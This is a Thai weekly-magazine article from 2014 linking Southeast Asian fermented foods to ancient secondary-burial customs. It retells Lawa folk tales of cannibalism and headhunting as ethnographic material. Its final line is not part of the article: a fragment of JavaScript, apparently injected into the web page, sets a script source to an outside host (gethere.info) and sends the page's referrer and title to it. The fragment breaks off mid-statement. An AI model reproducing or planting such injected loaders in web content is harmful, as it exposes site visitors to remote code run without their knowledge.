มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 26 กันยายน 2557

 

เน่าแล้วอร่อย

อาหารเก่าแก่ดึกดำบรรพ์ของอาเซียน

 

(ซ้าย) โครงปลาช่อนราว 9 ตัว และโครงปลาดุก 3 ตัว บรรจุรวมอยู่ในภาชนะดินเผาบริเวณปลายเท้าของโครงกระดูกมนุษย์ ราว 3,000 ปีมาแล้ว (ขวา) โครงกระดูกมนุษย์ ราว 3,000 ปีมาแล้ว ที่เหนือศีรษะมีภาชนะใส่โครงปลาช่อน (ภาพของ รัชนี ทศรัตน์ นักโบราณคดี ผู้ควบคุมการขุดค้น แล้วพบของเหล่านี้)

          เน่าแล้วอร่อย เป็นขบวนการถนอมอาหารไว้กินนานๆ ของคนในอุษาคเนย์ เช่น ปลาแดก, ปลาร้า, น้ำบูดู, กะปิ, น้ำปลา, ผักดอง, ถั่วเน่า

          เคยมีนักวิชาการตะวันตกศึกษาอาหารหมักดองของอุษาคเนย์ แล้วพบว่าขั้นตอนการแปรรูปอาหารประเภทเน่าแล้วอรอ่ย ไม่ต่างจากประเพณีทำศพของคนอุษาคเนย์

          ทำศพ เป็นประเพณีเก่าแก่ดึกดำบรรพ์สำคัญที่สุดของคนในอุษาคเนย์

          เมื่อมีคนตาย ต้องปล่อยศพเน่าโดยเก็บไว้หลายวัน บางทีเป็นเดือนเป็นปี

 

ศพเน่า

          ศพเน่า คือส่วนที่เป็นเนื้อหนังหุ้มกระดูกของคนตาย เน่าเปื่อยตามปกติธรรมชาติเมื่อผ่านไปหลายวัน

          ต่อจากนั้นลอกเนื้อหนังเน่าเปื่อยออก เอากระดูกล้างน้ำ แล้วสาดน้ำล้างกระดูกขึ้นหลังคาเรือนขับไล่ผีร้าย เอากระดูกไปทำพิธีอีกครั้งหนึ่ง เรียกพิธีทำศพครั้งที่ 2 เช่น ใส่ภาชนะดินเผา หรือใส่หม้อไหแล้วฝังอีกครั้งหนึ่ง, ใส่โกศ แล้วเผาบนพระเมรุมาศ

          เก็บศพเน่า เป็นความเชื่อดั้งเดิมที่สุด ว่าคนตาย ขวัญไม่ตาย แต่ขวัญหายไปด้วย เหตุร้ายอย่างใดอย่างหนึ่ง แล้วจะคืนกลับมาสู่ร่างเดิมไม่วันใดก็วันหนึ่ง เมื่อขวัญพบทางกลับถูก

          เครือญาติในชุมชนจึงต้องร่วมกันเป่าปี่ตีฆ้องกลอง สุนกสนานรื่นเริงเป็นมหรสพ คบงันให้สัญญาณแก่ขวัญที่หลงทางกลับคืนสู่ร่างถูก

 

คนกินศพเน่า

          มีนิทานอย่างน้อย 2 เรื่อง เป็นร่องรอยของคนกินศพเน่า ซึ่งน่าเชื่อว่าเป็นต้นตอของอาหารประเภทเน่าแล้วอร่อย

          บุญช่วย ศรีสวัสดิ์ จดนิทาน 2 เรื่องไว้ในหนังสือชาวเขาในไทย (พิมพ์ครั้งแรก พ.ศ. 2506) ว่าด้วยเรื่องละว้า จะคัดมาดังนี้

 

กบ บรรพชนของคน

          กบยักษ์ 2 ตัวผัวเมีย ผัวชื่อยาถำ เมียชื่อยาไถ่ ทั้งสองจับสัตว์ป่ากินเป็นอาหาร ไม่มีบุตรด้วยกัน ต่อมาย้ายมาอยู่ถ้ำทางใต้ของหนองน้ำนั้น

          วันหนึ่งยาถำจับมนุษย์มาได้คนหนึ่ง เอามากินเป็นอาหารร่วมกับยาไถ่ และเอากะโหลกแขวนไว้ดูเล่น

          นับตั้งแต่นั้นมายาไถ่ตั้งครรภ์คลอดบุตรออกมาเป็นมนุษย์ผู้ชาย 9 คน ผู้หญิง 9 คน ยาถำกับยาไถ่จึงบูชาหัวกะโหลกมนุษย์ โดยเอากะโหลกมนุษย์ใส่ตะกร้าแขวนไว้บนเสากลางลานบ้าน

          ถึงแม้จะมีบุตรเป็นมนุษย์แล้วก็ตาม ยาถำกับยาไถ่ยังพอใจจับเอามนุษย์มาเคี้ยวกินเป็นอาหาร เพราะเห็นว่าเนื้อมนุษย์มีรสอร่อยกว่าสัตว์ป่าทุกชนิด

          ฝ่ายบุตรชายหญิงต่างแต่งงานมีบุตรหลานด้วยกันและแยกย้ายไปอยู่ในหุบเขา 9 แห่ง

          วันหนึ่งยาถำกับยาไถ่ซึ่งแก่ชรามากแล้วไปดักจับมนุษย์ บังเอิญจับเอาหลานของตนมาฆ่ากินเป็นอาหาร

          บรรดาบุตรชายทั้ง 9 จึงปรึกษาหารือกันว่าบิดามารดาของเรานี้แก่ชรามากแล้ว หูตาก็มืดมัว ทั้งเป็นสัตว์ป่าน่าเกลียดน่ากลัวชอบกินแต่เนื้อมนุษย์ แม้แต่หลานของเราก็ไม่ยอมเว้น สักวันหนึ่งคงจับพวกเรากินเป็นอาหารเป็นแน่แท้ จึงพร้อมใจกันจับเอายาถำกับยาไถ่บิดามารดาของตนมาฆ่ากิน

          นับตั้งแต่นั้นมาจึงเกิดขนบธรรมเนียมฆ่าบิดามารดาเมื่ออายุมากสืบต่อกันมา เพิ่งมาเลิกเมื่อประมาณ 300 ปีมานี้พร้อมกับการกินเนื้อมนุษย์

          เพื่อเป็นที่ระลึกถึงว่าพวกตนมีต้นตระกูลเป็นกบ จึงนำเอาโลหะมาหล่อทำเป็นรูปกลองทองเหลืองกลมๆ มีรูปกบเกาะอยู่ริมกลอง ใช้ตีในเวลามีงานพิธี กลองชนิดนี้พวกกะเหรี่ยงพวกข่าในประเทศลาวใช้เหมือนกัน พม่าเรียกกลองปะชี แปลว่ากลองกบ ส่วนไทยเราเรียกว่า กลองมโหระทึก

          รูปกบนี้ยังทำไว้ที่แท่นบูชาของเขาด้วย ในวันขึ้นปีใหม่จะมีการแห่รูปกบไปปล่อยลงในแม่น้ำหรือลำธารเสมอ

 

ฆ่าตัดหัว

          พวกละว้า หรือว้าป่าเถื่อนนี้ ยังคงบูชาผีไร่ด้วยศีรษะมนุษย์เป็นประจำทุกปี

          เล่ากันว่าหัวหน้าชาวละว้าไปซื้อพันธุ์ข้าวจากชาวจีนฮ่อซึ่งตั้งบ้านเรือนอยู่ตีนเชิงเขา นำเอาพันธุ์ข้าวนั้นมาปลูกไม่ขึ้น

          หัวหน้าชาวละว้าโกรธหาว่าพ่อค้าชาวจีนฮ่อเอาพันธุ์ข้าวลวกน้ำร้อนมาขายให้ จึงใช้ลูกน้องของตนไปซื้อพันธุ์ข้าวจากพ่อค้าจีนฮ่อคนนั้นอีก เมื่อซื้อแล้วให้ตัดเอาศีรษะมาด้วย

          ลูกน้องก็ปฏิบัติตามโดยเอาข้าวใส่ในตะกร้าข้างล่าง ศีรษะชาวจีนฮ่อใส่ข้างบน เมื่อนำมามอบให้แก่หัวหน้าของตน พันธุ์ข้าวนั้นเต็มไปด้วยเลือดและน้ำหนอง เมื่อนำไปปลูกในไร่บังเอิญข้าวนั้นเจริญงอกงามผิดธรรมดา ถือว่าเป็นพันธุ์ข้าวผีโปรด

          นับจากนั้นมาจึงถือเอาเป็นธรรมเนียมต้องตัดศีรษะมนุษย์มาบูชาผีไร่

 

ล่าหัวมนุษย์

          ประเพณีล่าหัวมนุษย์ เป็นพิธีกรรมขอความอุดมสมบูรณ์ ต้องทำทุกปี บุญช่วย ศรีสวัสดิ์ บันทึกว่าพวกละว้าล่าหัวมนุษย์ช่วงขอฝน ก่อนลงมือ “เฮ็ดไฮ่” คือ ปลูกข้าวไร่หยอดหลุม และก่อนเก็บเกี่ยว

          “เวลาเก็บเกี่ยวข้าวไร่ เรียกกันว่า ‘ไปหาหัวฮ้า’ ฮ้า คือ ร้า หรือของบูดเน่าของหมักดองอย่างปลาร้านั่นเอง”

          เมื่อได้หัวมนุษย์แล้ว เอาไม้ไผ่ลำหนึ่งทะลุปล้องข้างในเสียบหัวไว้ข้างบน โดยผ่าไม้เป็นซีกสานคล้ายตะกร้าตาห่างๆ ทำหลังคากลมปักไว้ลานกลางบ้าน มีท่อไม้รองรับน้ำเหลืองให้ไหลลงมาสู่พันธุ์ข้าวไร่ในกระบุงข้างล่าง

          หัวมนุษย์ เมื่อเสร็จพิธีแล้วจะถูกนำไปรวมกันไว้ยังเรือนผีหรือศาลหัวกะโหลกซึ่งปลูกติดกับหมู่บ้าน แล้วมีฆ่าควายเซ่นวักเลี้ยงผีปีละครั้ง

          ถ้าหมู่บ้านใหญ่หลายร้อยหลังคาเรือนต้องฆ่าควายหลายตัว มีเต้นฟ้อนหิ้วหัวกะโหลกมนุษย์เวียนไปมารอบๆ พร้อมกับเสียงกระแทกกระบอกไม้ไผ่ลงบนพื้นดิน

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {